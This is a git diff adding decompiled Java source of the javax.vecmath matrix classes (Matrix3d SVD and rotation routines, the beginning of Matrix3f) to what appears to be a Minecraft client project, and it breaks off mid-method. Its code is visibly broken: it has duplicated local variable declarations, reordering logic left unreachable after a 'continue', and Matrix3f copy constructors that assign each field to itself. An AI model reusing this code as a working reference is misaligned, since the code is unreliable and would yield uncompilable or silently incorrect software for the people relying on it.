+      double c3 = m[1] * g;
+      double s3 = m[2] * g;
+      tmp[1] = (c3 * m[1] + s3 * m[2]);
+      m[2] = (-s3 * m[1] + c3 * m[2]);
+      m[1] = tmp[1];
+      
+      tmp[4] = (c3 * m[4] + s3 * m[5]);
+      m[5] = (-s3 * m[4] + c3 * m[5]);
+      m[4] = tmp[4];
+      
+      tmp[7] = (c3 * m[7] + s3 * m[8]);
+      m[8] = (-s3 * m[7] + c3 * m[8]);
+      m[7] = tmp[7];
+      
+      v1[0] = 1.0D;v1[1] = 0.0D;v1[2] = 0.0D;
+      v1[3] = 0.0D;v1[4] = c3;v1[5] = (-s3);
+      v1[6] = 0.0D;v1[7] = s3;v1[8] = c3;
+    }
+    
+
+
+    if (m[7] * m[7] >= 1.110223024E-16D) {
+      if (m[4] * m[4] < 1.110223024E-16D) {
+        tmp[3] = m[3];
+        tmp[4] = m[4];
+        tmp[5] = m[5];
+        m[3] = m[6];
+        m[4] = m[7];
+        m[5] = m[8];
+        
+        m[6] = (-tmp[3]);
+        m[7] = (-tmp[4]);
+        m[8] = (-tmp[5]);
+        
+        tmp[3] = u1[3];
+        tmp[4] = u1[4];
+        tmp[5] = u1[5];
+        u1[3] = u1[6];
+        u1[4] = u1[7];
+        u1[5] = u1[8];
+        
+        u1[6] = (-tmp[3]);
+        u1[7] = (-tmp[4]);
+        u1[8] = (-tmp[5]);
+      }
+      else {
+        double g = 1.0D / Math.sqrt(m[4] * m[4] + m[7] * m[7]);
+        double c4 = m[4] * g;
+        double s4 = m[7] * g;
+        tmp[3] = (c4 * m[3] + s4 * m[6]);
+        m[6] = (-s4 * m[3] + c4 * m[6]);
+        m[3] = tmp[3];
+        
+        tmp[4] = (c4 * m[4] + s4 * m[7]);
+        m[7] = (-s4 * m[4] + c4 * m[7]);
+        m[4] = tmp[4];
+        
+        tmp[5] = (c4 * m[5] + s4 * m[8]);
+        m[8] = (-s4 * m[5] + c4 * m[8]);
+        m[5] = tmp[5];
+        
+        tmp[3] = (c4 * u1[3] + s4 * u1[6]);
+        u1[6] = (-s4 * u1[3] + c4 * u1[6]);
+        u1[3] = tmp[3];
+        
+        tmp[4] = (c4 * u1[4] + s4 * u1[7]);
+        u1[7] = (-s4 * u1[4] + c4 * u1[7]);
+        u1[4] = tmp[4];
+        
+        tmp[5] = (c4 * u1[5] + s4 * u1[8]);
+        u1[8] = (-s4 * u1[5] + c4 * u1[8]);
+        u1[5] = tmp[5];
+      }
+    }
+    single_values[0] = m[0];
+    single_values[1] = m[4];
+    single_values[2] = m[8];
+    e[0] = m[1];
+    e[1] = m[5];
+    
+    if ((e[0] * e[0] >= 1.110223024E-16D) || (e[1] * e[1] >= 1.110223024E-16D))
+    {
+
+      compute_qr(single_values, e, u1, v1);
+    }
+    
+    scales[0] = single_values[0];
+    scales[1] = single_values[1];
+    scales[2] = single_values[2];
+    
+
+
+    if ((almostEqual(Math.abs(scales[0]), 1.0D)) && 
+      (almostEqual(Math.abs(scales[1]), 1.0D)) && 
+      (almostEqual(Math.abs(scales[2]), 1.0D)))
+    {
+
+      for (i = 0; i < 3; i++) {
+        if (scales[i] < 0.0D)
+          negCnt++;
+      }
+      if ((negCnt == 0) || (negCnt == 2))
+      {
+        double tmp2063_2062 = (outScale[2] = 1.0D);outScale[1] = tmp2063_2062;outScale[0] = tmp2063_2062;
+        for (i = 0; i < 9; i++) {
+          outRot[i] = rot[i];
+        }
+        return;
+      }
+    }
+    
+
+    transpose_mat(u1, t1);
+    transpose_mat(v1, t2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    svdReorder(m, t1, t2, scales, outRot, outScale);
+  }
+  
+
+
+  static void svdReorder(double[] m, double[] t1, double[] t2, double[] scales, double[] outRot, double[] outScale)
+  {
+    int[] out = new int[3];
+    int[] in = new int[3];
+    
+    double[] mag = new double[3];
+    double[] rot = new double[9];
+    
+
+
+    if (scales[0] < 0.0D) {
+      scales[0] = (-scales[0]);
+      t2[0] = (-t2[0]);
+      t2[1] = (-t2[1]);
+      t2[2] = (-t2[2]);
+    }
+    if (scales[1] < 0.0D) {
+      scales[1] = (-scales[1]);
+      t2[3] = (-t2[3]);
+      t2[4] = (-t2[4]);
+      t2[5] = (-t2[5]);
+    }
+    if (scales[2] < 0.0D) {
+      scales[2] = (-scales[2]);
+      t2[6] = (-t2[6]);
+      t2[7] = (-t2[7]);
+      t2[8] = (-t2[8]);
+    }
+    
+    mat_mul(t1, t2, rot);
+    
+    int i;
+    if ((almostEqual(Math.abs(scales[0]), Math.abs(scales[1]))) && 
+      (almostEqual(Math.abs(scales[1]), Math.abs(scales[2])))) {
+      for (i = 0; i < 9; i++) {
+        outRot[i] = rot[i];
+      }
+      for (i = 0; i < 3;) {
+        outScale[i] = scales[i];i++; continue;
+        
+
+
+
+
+        if (scales[0] > scales[1]) {
+          if (scales[0] > scales[2]) {
+            if (scales[2] > scales[1]) {
+              out[0] = 0;out[1] = 2;out[2] = 1;
+            } else {
+              out[0] = 0;out[1] = 1;out[2] = 2;
+            }
+          } else {
+            out[0] = 2;out[1] = 0;out[2] = 1;
+          }
+        }
+        else if (scales[1] > scales[2]) {
+          if (scales[2] > scales[0]) {
+            out[0] = 1;out[1] = 2;out[2] = 0;
+          } else {
+            out[0] = 1;out[1] = 0;out[2] = 2;
+          }
+        } else {
+          out[0] = 2;out[1] = 1;out[2] = 0;
+        }
+        
+
+
+
+
+
+
+
+
+
+        mag[0] = (m[0] * m[0] + m[1] * m[1] + m[2] * m[2]);
+        mag[1] = (m[3] * m[3] + m[4] * m[4] + m[5] * m[5]);
+        mag[2] = (m[6] * m[6] + m[7] * m[7] + m[8] * m[8]);
+        int in1;
+        int in2; int in1; int in0; if (mag[0] > mag[1]) { int in2;
+          if (mag[0] > mag[2]) { int in1;
+            if (mag[2] > mag[1])
+            {
+              int in0 = 0;int in2 = 1;in1 = 2;
+            }
+            else {
+              int in0 = 0;int in1 = 1;in2 = 2;
+            }
+          }
+          else {
+            int in2 = 0;int in0 = 1;in1 = 2;
+          }
+        } else { int in2;
+          if (mag[1] > mag[2]) { int in0;
+            if (mag[2] > mag[0])
+            {
+              int in1 = 0;int in2 = 1;in0 = 2;
+            }
+            else {
+              int in1 = 0;int in0 = 1;in2 = 2;
+            }
+          }
+          else {
+            in2 = 0;in1 = 1;in0 = 2;
+          }
+        }
+        
+
+        int index = out[in0];
+        outScale[0] = scales[index];
+        
+        index = out[in1];
+        outScale[1] = scales[index];
+        
+        index = out[in2];
+        outScale[2] = scales[index];
+        
+
+        index = out[in0];
+        outRot[0] = rot[index];
+        
+        index = out[in0] + 3;
+        outRot[3] = rot[index];
+        
+        index = out[in0] + 6;
+        outRot[6] = rot[index];
+        
+        index = out[in1];
+        outRot[1] = rot[index];
+        
+        index = out[in1] + 3;
+        outRot[4] = rot[index];
+        
+        index = out[in1] + 6;
+        outRot[7] = rot[index];
+        
+        index = out[in2];
+        outRot[2] = rot[index];
+        
+        index = out[in2] + 3;
+        outRot[5] = rot[index];
+        
+        index = out[in2] + 6;
+        outRot[8] = rot[index];
+      }
+    }
+  }
+  
+
+
+  static int compute_qr(double[] s, double[] e, double[] u, double[] v)
+  {
+    double[] cosl = new double[2];
+    double[] cosr = new double[2];
+    double[] sinl = new double[2];
+    double[] sinr = new double[2];
+    double[] m = new double[9];
+    
+
+
+
+    int MAX_INTERATIONS = 10;
+    double CONVERGE_TOL = 4.89E-15D;
+    
+    double c_b48 = 1.0D;
+    double c_b71 = -1.0D;
+    
+    boolean converged = false;
+    
+
+    int first = 1;
+    
+    if ((Math.abs(e[1]) < 4.89E-15D) || (Math.abs(e[0]) < 4.89E-15D)) { converged = true;
+    }
+    for (int k = 0; (k < 10) && (!converged); k++) {
+      double shift = compute_shift(s[1], e[1], s[2]);
+      double f = (Math.abs(s[0]) - shift) * (d_sign(c_b48, s[0]) + shift / s[0]);
+      double g = e[0];
+      double r = compute_rot(f, g, sinr, cosr, 0, first);
+      f = cosr[0] * s[0] + sinr[0] * e[0];
+      e[0] = (cosr[0] * e[0] - sinr[0] * s[0]);
+      g = sinr[0] * s[1];
+      s[1] = (cosr[0] * s[1]);
+      
+      r = compute_rot(f, g, sinl, cosl, 0, first);
+      first = 0;
+      s[0] = r;
+      f = cosl[0] * e[0] + sinl[0] * s[1];
+      s[1] = (cosl[0] * s[1] - sinl[0] * e[0]);
+      g = sinl[0] * e[1];
+      e[1] = (cosl[0] * e[1]);
+      
+      r = compute_rot(f, g, sinr, cosr, 1, first);
+      e[0] = r;
+      f = cosr[1] * s[1] + sinr[1] * e[1];
+      e[1] = (cosr[1] * e[1] - sinr[1] * s[1]);
+      g = sinr[1] * s[2];
+      s[2] = (cosr[1] * s[2]);
+      
+      r = compute_rot(f, g, sinl, cosl, 1, first);
+      s[1] = r;
+      f = cosl[1] * e[1] + sinl[1] * s[2];
+      s[2] = (cosl[1] * s[2] - sinl[1] * e[1]);
+      e[1] = f;
+      
+
+      double utemp = u[0];
+      u[0] = (cosl[0] * utemp + sinl[0] * u[3]);
+      u[3] = (-sinl[0] * utemp + cosl[0] * u[3]);
+      utemp = u[1];
+      u[1] = (cosl[0] * utemp + sinl[0] * u[4]);
+      u[4] = (-sinl[0] * utemp + cosl[0] * u[4]);
+      utemp = u[2];
+      u[2] = (cosl[0] * utemp + sinl[0] * u[5]);
+      u[5] = (-sinl[0] * utemp + cosl[0] * u[5]);
+      
+      utemp = u[3];
+      u[3] = (cosl[1] * utemp + sinl[1] * u[6]);
+      u[6] = (-sinl[1] * utemp + cosl[1] * u[6]);
+      utemp = u[4];
+      u[4] = (cosl[1] * utemp + sinl[1] * u[7]);
+      u[7] = (-sinl[1] * utemp + cosl[1] * u[7]);
+      utemp = u[5];
+      u[5] = (cosl[1] * utemp + sinl[1] * u[8]);
+      u[8] = (-sinl[1] * utemp + cosl[1] * u[8]);
+      
+
+
+      double vtemp = v[0];
+      v[0] = (cosr[0] * vtemp + sinr[0] * v[1]);
+      v[1] = (-sinr[0] * vtemp + cosr[0] * v[1]);
+      vtemp = v[3];
+      v[3] = (cosr[0] * vtemp + sinr[0] * v[4]);
+      v[4] = (-sinr[0] * vtemp + cosr[0] * v[4]);
+      vtemp = v[6];
+      v[6] = (cosr[0] * vtemp + sinr[0] * v[7]);
+      v[7] = (-sinr[0] * vtemp + cosr[0] * v[7]);
+      
+      vtemp = v[1];
+      v[1] = (cosr[1] * vtemp + sinr[1] * v[2]);
+      v[2] = (-sinr[1] * vtemp + cosr[1] * v[2]);
+      vtemp = v[4];
+      v[4] = (cosr[1] * vtemp + sinr[1] * v[5]);
+      v[5] = (-sinr[1] * vtemp + cosr[1] * v[5]);
+      vtemp = v[7];
+      v[7] = (cosr[1] * vtemp + sinr[1] * v[8]);
+      v[8] = (-sinr[1] * vtemp + cosr[1] * v[8]);
+      
+
+      m[0] = s[0];m[1] = e[0];m[2] = 0.0D;
+      m[3] = 0.0D;m[4] = s[1];m[5] = e[1];
+      m[6] = 0.0D;m[7] = 0.0D;m[8] = s[2];
+      
+      if ((Math.abs(e[1]) < 4.89E-15D) || (Math.abs(e[0]) < 4.89E-15D)) { converged = true;
+      }
+    }
+    if (Math.abs(e[1]) < 4.89E-15D) {
+      compute_2X2(s[0], e[0], s[1], s, sinl, cosl, sinr, cosr, 0);
+      
+      double utemp = u[0];
+      u[0] = (cosl[0] * utemp + sinl[0] * u[3]);
+      u[3] = (-sinl[0] * utemp + cosl[0] * u[3]);
+      utemp = u[1];
+      u[1] = (cosl[0] * utemp + sinl[0] * u[4]);
+      u[4] = (-sinl[0] * utemp + cosl[0] * u[4]);
+      utemp = u[2];
+      u[2] = (cosl[0] * utemp + sinl[0] * u[5]);
+      u[5] = (-sinl[0] * utemp + cosl[0] * u[5]);
+      
+
+
+      double vtemp = v[0];
+      v[0] = (cosr[0] * vtemp + sinr[0] * v[1]);
+      v[1] = (-sinr[0] * vtemp + cosr[0] * v[1]);
+      vtemp = v[3];
+      v[3] = (cosr[0] * vtemp + sinr[0] * v[4]);
+      v[4] = (-sinr[0] * vtemp + cosr[0] * v[4]);
+      vtemp = v[6];
+      v[6] = (cosr[0] * vtemp + sinr[0] * v[7]);
+      v[7] = (-sinr[0] * vtemp + cosr[0] * v[7]);
+    } else {
+      compute_2X2(s[1], e[1], s[2], s, sinl, cosl, sinr, cosr, 1);
+      
+      double utemp = u[3];
+      u[3] = (cosl[0] * utemp + sinl[0] * u[6]);
+      u[6] = (-sinl[0] * utemp + cosl[0] * u[6]);
+      utemp = u[4];
+      u[4] = (cosl[0] * utemp + sinl[0] * u[7]);
+      u[7] = (-sinl[0] * utemp + cosl[0] * u[7]);
+      utemp = u[5];
+      u[5] = (cosl[0] * utemp + sinl[0] * u[8]);
+      u[8] = (-sinl[0] * utemp + cosl[0] * u[8]);
+      
+
+
+      double vtemp = v[1];
+      v[1] = (cosr[0] * vtemp + sinr[0] * v[2]);
+      v[2] = (-sinr[0] * vtemp + cosr[0] * v[2]);
+      vtemp = v[4];
+      v[4] = (cosr[0] * vtemp + sinr[0] * v[5]);
+      v[5] = (-sinr[0] * vtemp + cosr[0] * v[5]);
+      vtemp = v[7];
+      v[7] = (cosr[0] * vtemp + sinr[0] * v[8]);
+      v[8] = (-sinr[0] * vtemp + cosr[0] * v[8]);
+    }
+    
+    return 0;
+  }
+  
+  static double max(double a, double b) { if (a > b) {
+      return a;
+    }
+    return b;
+  }
+  
+  static double min(double a, double b) { if (a < b) {
+      return a;
+    }
+    return b;
+  }
+  
+  static double d_sign(double a, double b) {
+    double x = a >= 0.0D ? a : -a;
+    return b >= 0.0D ? x : -x;
+  }
+  
+
+
+
+  static double compute_shift(double f, double g, double h)
+  {
+    double fa = Math.abs(f);
+    double ga = Math.abs(g);
+    double ha = Math.abs(h);
+    double fhmn = min(fa, ha);
+    double fhmx = max(fa, ha);
+    double ssmin; if (fhmn == 0.0D) {
+      double ssmin = 0.0D;
+      if (fhmx != 0.0D)
+      {
+        double d1 = min(fhmx, ga) / max(fhmx, ga); }
+    } else {
+      double ssmin;
+      if (ga < fhmx) {
+        double as = fhmn / fhmx + 1.0D;
+        double at = (fhmx - fhmn) / fhmx;
+        double d__1 = ga / fhmx;
+        double au = d__1 * d__1;
+        double c = 2.0D / (Math.sqrt(as * as + au) + Math.sqrt(at * at + au));
+        ssmin = fhmn * c;
+      } else {
+        double au = fhmx / ga;
+        double ssmin; if (au == 0.0D) {
+          ssmin = fhmn * fhmx / ga;
+        } else {
+          double as = fhmn / fhmx + 1.0D;
+          double at = (fhmx - fhmn) / fhmx;
+          double d__1 = as * au;
+          double d__2 = at * au;
+          double c = 1.0D / (Math.sqrt(d__1 * d__1 + 1.0D) + Math.sqrt(d__2 * d__2 + 1.0D));
+          ssmin = fhmn * c * au;
+          ssmin += ssmin;
+        }
+      }
+    }
+    
+    return ssmin;
+  }
+  
+  static int compute_2X2(double f, double g, double h, double[] single_values, double[] snl, double[] csl, double[] snr, double[] csr, int index)
+  {
+    double c_b3 = 2.0D;
+    double c_b4 = 1.0D;
+    
+
+
+
+
+
+
+
+
+
+
+    double ssmax = single_values[0];
+    double ssmin = single_values[1];
+    double clt = 0.0D;
+    double crt = 0.0D;
+    double slt = 0.0D;
+    double srt = 0.0D;
+    double tsign = 0.0D;
+    
+    double ft = f;
+    double fa = Math.abs(ft);
+    double ht = h;
+    double ha = Math.abs(h);
+    
+    int pmax = 1;
+    boolean swap; boolean swap; if (ha > fa) {
+      swap = true;
+    } else {
+      swap = false;
+    }
+    if (swap) {
+      pmax = 3;
+      double temp = ft;
+      ft = ht;
+      ht = temp;
+      temp = fa;
+      fa = ha;
+      ha = temp;
+    }
+    
+    double gt = g;
+    double ga = Math.abs(gt);
+    if (ga == 0.0D)
+    {
+      single_values[1] = ha;
+      single_values[0] = fa;
+      clt = 1.0D;
+      crt = 1.0D;
+      slt = 0.0D;
+      srt = 0.0D;
+    } else {
+      boolean gasmal = true;
+      
+      if (ga > fa) {
+        pmax = 2;
+        if (fa / ga < 1.110223024E-16D)
+        {
+          gasmal = false;
+          ssmax = ga;
+          if (ha > 1.0D) {
+            ssmin = fa / (ga / ha);
+          } else {
+            ssmin = fa / ga * ha;
+          }
+          clt = 1.0D;
+          slt = ht / gt;
+          srt = 1.0D;
+          crt = ft / gt;
+        }
+      }
+      if (gasmal)
+      {
+        double d = fa - ha;
+        double l; double l; if (d == fa)
+        {
+          l = 1.0D;
+        } else {
+          l = d / fa;
+        }
+        
+        double m = gt / ft;
+        
+        double t = 2.0D - l;
+        
+        double mm = m * m;
+        double tt = t * t;
+        double s = Math.sqrt(tt + mm);
+        double r;
+        double r; if (l == 0.0D) {
+          r = Math.abs(m);
+        } else {
+          r = Math.sqrt(l * l + mm);
+        }
+        
+        double a = (s + r) * 0.5D;
+        
+        if (ga > fa) {
+          pmax = 2;
+          if (fa / ga < 1.110223024E-16D)
+          {
+            gasmal = false;
+            ssmax = ga;
+            if (ha > 1.0D) {
+              ssmin = fa / (ga / ha);
+            } else {
+              ssmin = fa / ga * ha;
+            }
+            clt = 1.0D;
+            slt = ht / gt;
+            srt = 1.0D;
+            crt = ft / gt;
+          }
+        }
+        if (gasmal)
+        {
+          d = fa - ha;
+          if (d == fa)
+          {
+            l = 1.0D;
+          } else {
+            l = d / fa;
+          }
+          
+          m = gt / ft;
+          
+          t = 2.0D - l;
+          
+          mm = m * m;
+          tt = t * t;
+          s = Math.sqrt(tt + mm);
+          
+          if (l == 0.0D) {
+            r = Math.abs(m);
+          } else {
+            r = Math.sqrt(l * l + mm);
+          }
+          
+          a = (s + r) * 0.5D;
+          
+
+          ssmin = ha / a;
+          ssmax = fa * a;
+          if (mm == 0.0D)
+          {
+            if (l == 0.0D) {
+              t = d_sign(c_b3, ft) * d_sign(c_b4, gt);
+            } else {
+              t = gt / d_sign(d, ft) + m / t;
+            }
+          } else {
+            t = (m / (s + t) + m / (r + l)) * (a + 1.0D);
+          }
+          l = Math.sqrt(t * t + 4.0D);
+          crt = 2.0D / l;
+          srt = t / l;
+          clt = (crt + srt * m) / a;
+          slt = ht / ft * srt / a;
+        }
+      }
+      if (swap) {
+        csl[0] = srt;
+        snl[0] = crt;
+        csr[0] = slt;
+        snr[0] = clt;
+      } else {
+        csl[0] = clt;
+        snl[0] = slt;
+        csr[0] = crt;
+        snr[0] = srt;
+      }
+      
+      if (pmax == 1) {
+        tsign = d_sign(c_b4, csr[0]) * d_sign(c_b4, csl[0]) * d_sign(c_b4, f);
+      }
+      if (pmax == 2) {
+        tsign = d_sign(c_b4, snr[0]) * d_sign(c_b4, csl[0]) * d_sign(c_b4, g);
+      }
+      if (pmax == 3) {
+        tsign = d_sign(c_b4, snr[0]) * d_sign(c_b4, snl[0]) * d_sign(c_b4, h);
+      }
+      single_values[index] = d_sign(ssmax, tsign);
+      double d__1 = tsign * d_sign(c_b4, f) * d_sign(c_b4, h);
+      single_values[(index + 1)] = d_sign(ssmin, d__1);
+    }
+    
+
+    return 0;
+  }
+  
+
+
+
+
+
+
+  static double compute_rot(double f, double g, double[] sin, double[] cos, int index, int first)
+  {
+    double safmn2 = 2.002083095183101E-146D;
+    double safmx2 = 4.9947976805055876E145D;
+    double r;
+    double r; double cs; double sn; if (g == 0.0D) {
+      double cs = 1.0D;
+      double sn = 0.0D;
+      r = f; } else { double r;
+      if (f == 0.0D) {
+        double cs = 0.0D;
+        double sn = 1.0D;
+        r = g;
+      } else {
+        double f1 = f;
+        double g1 = g;
+        double scale = max(Math.abs(f1), Math.abs(g1));
+        if (scale >= 4.9947976805055876E145D) {
+          int count = 0;
+          while (scale >= 4.9947976805055876E145D) {
+            count++;
+            f1 *= 2.002083095183101E-146D;
+            g1 *= 2.002083095183101E-146D;
+            scale = max(Math.abs(f1), Math.abs(g1));
+          }
+          double r = Math.sqrt(f1 * f1 + g1 * g1);
+          double cs = f1 / r;
+          double sn = g1 / r;
+          int i__1 = count;
+          for (int i = 1; i <= count; i++)
+            r *= 4.9947976805055876E145D;
+        }
+        if (scale <= 2.002083095183101E-146D) {
+          int count = 0;
+          while (scale <= 2.002083095183101E-146D) {
+            count++;
+            f1 *= 4.9947976805055876E145D;
+            g1 *= 4.9947976805055876E145D;
+            scale = max(Math.abs(f1), Math.abs(g1));
+          }
+          double r = Math.sqrt(f1 * f1 + g1 * g1);
+          double cs = f1 / r;
+          double sn = g1 / r;
+          int i__1 = count;
+          for (int i = 1; i <= count; i++) {
+            r *= 2.002083095183101E-146D;
+          }
+        }
+        r = Math.sqrt(f1 * f1 + g1 * g1);
+        cs = f1 / r;
+        sn = g1 / r;
+        
+        if ((Math.abs(f) > Math.abs(g)) && (cs < 0.0D)) {
+          cs = -cs;
+          sn = -sn;
+          r = -r;
+        }
+      } }
+    sin[index] = sn;
+    cos[index] = cs;
+    return r;
+  }
+  
+  static void print_mat(double[] mat)
+  {
+    for (int i = 0; i < 3; i++) {
+      System.out.println(mat[(i * 3 + 0)] + " " + mat[(i * 3 + 1)] + " " + mat[(i * 3 + 2)] + "\n");
+    }
+  }
+  
+
+  static void print_det(double[] mat)
+  {
+    double det = mat[0] * mat[4] * mat[8] + mat[1] * mat[5] * mat[6] + mat[2] * mat[3] * mat[7] - mat[2] * mat[4] * mat[6] - mat[0] * mat[5] * mat[7] - mat[1] * mat[3] * mat[8];
+    
+
+
+
+
+    System.out.println("det= " + det);
+  }
+  
+  static void mat_mul(double[] m1, double[] m2, double[] m3) {
+    double[] tmp = new double[9];
+    
+    tmp[0] = (m1[0] * m2[0] + m1[1] * m2[3] + m1[2] * m2[6]);
+    tmp[1] = (m1[0] * m2[1] + m1[1] * m2[4] + m1[2] * m2[7]);
+    tmp[2] = (m1[0] * m2[2] + m1[1] * m2[5] + m1[2] * m2[8]);
+    
+    tmp[3] = (m1[3] * m2[0] + m1[4] * m2[3] + m1[5] * m2[6]);
+    tmp[4] = (m1[3] * m2[1] + m1[4] * m2[4] + m1[5] * m2[7]);
+    tmp[5] = (m1[3] * m2[2] + m1[4] * m2[5] + m1[5] * m2[8]);
+    
+    tmp[6] = (m1[6] * m2[0] + m1[7] * m2[3] + m1[8] * m2[6]);
+    tmp[7] = (m1[6] * m2[1] + m1[7] * m2[4] + m1[8] * m2[7]);
+    tmp[8] = (m1[6] * m2[2] + m1[7] * m2[5] + m1[8] * m2[8]);
+    
+    for (int i = 0; i < 9; i++)
+      m3[i] = tmp[i];
+  }
+  
+  static void transpose_mat(double[] in, double[] out) {
+    out[0] = in[0];
+    out[1] = in[3];
+    out[2] = in[6];
+    
+    out[3] = in[1];
+    out[4] = in[4];
+    out[5] = in[7];
+    
+    out[6] = in[2];
+    out[7] = in[5];
+    out[8] = in[8];
+  }
+  
+  static double max3(double[] values) { if (values[0] > values[1]) {
+      if (values[0] > values[2]) {
+        return values[0];
+      }
+      return values[2];
+    }
+    if (values[1] > values[2]) {
+      return values[1];
+    }
+    return values[2];
+  }
+  
+  private static final boolean almostEqual(double a, double b)
+  {
+    if (a == b) {
+      return true;
+    }
+    double EPSILON_ABSOLUTE = 1.0E-6D;
+    double EPSILON_RELATIVE = 1.0E-4D;
+    double diff = Math.abs(a - b);
+    double absA = Math.abs(a);
+    double absB = Math.abs(b);
+    double max = absA >= absB ? absA : absB;
+    
+    if (diff < 1.0E-6D) {
+      return true;
+    }
+    if (diff / max < 1.0E-4D) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    Matrix3d m1 = null;
+    try {
+      m1 = (Matrix3d)super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+    
+
+    return m1;
+  }
+  
+
+
+
+
+  public final double getM00()
+  {
+    return m00;
+  }
+  
+
+
+
+
+
+
+  public final void setM00(double m00)
+  {
+    this.m00 = m00;
+  }
+  
+
+
+
+
+
+
+  public final double getM01()
+  {
+    return m01;
+  }
+  
+
+
+
+
+
+
+  public final void setM01(double m01)
+  {
+    this.m01 = m01;
+  }
+  
+
+
+
+
+
+
+  public final double getM02()
+  {
+    return m02;
+  }
+  
+
+
+
+
+
+
+  public final void setM02(double m02)
+  {
+    this.m02 = m02;
+  }
+  
+
+
+
+
+
+
+  public final double getM10()
+  {
+    return m10;
+  }
+  
+
+
+
+
+
+
+  public final void setM10(double m10)
+  {
+    this.m10 = m10;
+  }
+  
+
+
+
+
+
+
+  public final double getM11()
+  {
+    return m11;
+  }
+  
+
+
+
+
+
+
+  public final void setM11(double m11)
+  {
+    this.m11 = m11;
+  }
+  
+
+
+
+
+
+
+  public final double getM12()
+  {
+    return m12;
+  }
+  
+
+
+
+
+
+
+  public final void setM12(double m12)
+  {
+    this.m12 = m12;
+  }
+  
+
+
+
+
+
+
+  public final double getM20()
+  {
+    return m20;
+  }
+  
+
+
+
+
+
+
+  public final void setM20(double m20)
+  {
+    this.m20 = m20;
+  }
+  
+
+
+
+
+
+
+  public final double getM21()
+  {
+    return m21;
+  }
+  
+
+
+
+
+
+
+  public final void setM21(double m21)
+  {
+    this.m21 = m21;
+  }
+  
+
+
+
+
+
+
+  public final double getM22()
+  {
+    return m22;
+  }
+  
+
+
+
+
+
+
+  public final void setM22(double m22)
+  {
+    this.m22 = m22;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Matrix3f.java b/src/minecraft/javax/vecmath/Matrix3f.java
new file mode 100644
index 0000000..44c4bd1
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Matrix3f.java
@@ -0,0 +1,2312 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Matrix3f
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 329697160112089834L;
+  public float m00;
+  public float m01;
+  public float m02;
+  public float m10;
+  public float m11;
+  public float m12;
+  public float m20;
+  public float m21;
+  public float m22;
+  private static final double EPS = 1.0E-8D;
+  
+  public Matrix3f(float m00, float m01, float m02, float m10, float m11, float m12, float m20, float m21, float m22)
+  {
+    this.m00 = m00;
+    this.m01 = m01;
+    this.m02 = m02;
+    
+    this.m10 = m10;
+    this.m11 = m11;
+    this.m12 = m12;
+    
+    this.m20 = m20;
+    this.m21 = m21;
+    this.m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public Matrix3f(float[] v)
+  {
+    m00 = v[0];
+    m01 = v[1];
+    m02 = v[2];
+    
+    m10 = v[3];
+    m11 = v[4];
+    m12 = v[5];
+    
+    m20 = v[6];
+    m21 = v[7];
+    m22 = v[8];
+  }
+  
+
+
+
+
+
+
+  public Matrix3f(Matrix3d m1)
+  {
+    m00 = ((float)m00);
+    m01 = ((float)m01);
+    m02 = ((float)m02);
+    
+    m10 = ((float)m10);
+    m11 = ((float)m11);
+    m12 = ((float)m12);
+    
+    m20 = ((float)m20);
+    m21 = ((float)m21);
+    m22 = ((float)m22);
+  }
+  
+
+
+
+
+
+
+
+  public Matrix3f(Matrix3f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+  }
+  
+
+
+
+
+
+  public Matrix3f()
+  {
+    m00 = 0.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = 0.0F;
+    m12 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 0.0F;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return m00 + ", " + m01 + ", " + m02 + "\n" + m10 + ", " + m11 + ", " + m12 + "\n" + m20 + ", " + m21 + ", " + m22 + "\n";
+  }
+  
+
+
+
+
+
+
+  public final void setIdentity()
+  {
+    m00 = 1.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = 1.0F;
+    m12 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void setScale(float scale)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)(tmp_rot[0] * scale));
+    m01 = ((float)(tmp_rot[1] * scale));
+    m02 = ((float)(tmp_rot[2] * scale));
+    
+    m10 = ((float)(tmp_rot[3] * scale));
+    m11 = ((float)(tmp_rot[4] * scale));
+    m12 = ((float)(tmp_rot[5] * scale));
+    
+    m20 = ((float)(tmp_rot[6] * scale));
+    m21 = ((float)(tmp_rot[7] * scale));
+    m22 = ((float)(tmp_rot[8] * scale));
+  }
+  
+
+
+
+
+
+
+
+  public final void setElement(int row, int column, float value)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        m00 = value;
+        break;
+      case 1: 
+        m01 = value;
+        break;
+      case 2: 
+        m02 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f0"));
+      }
+      
+      break;
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        m10 = value;
+        break;
+      case 1: 
+        m11 = value;
+        break;
+      case 2: 
+        m12 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f0"));
+      }
+      
+      break;
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        m20 = value;
+        break;
+      case 1: 
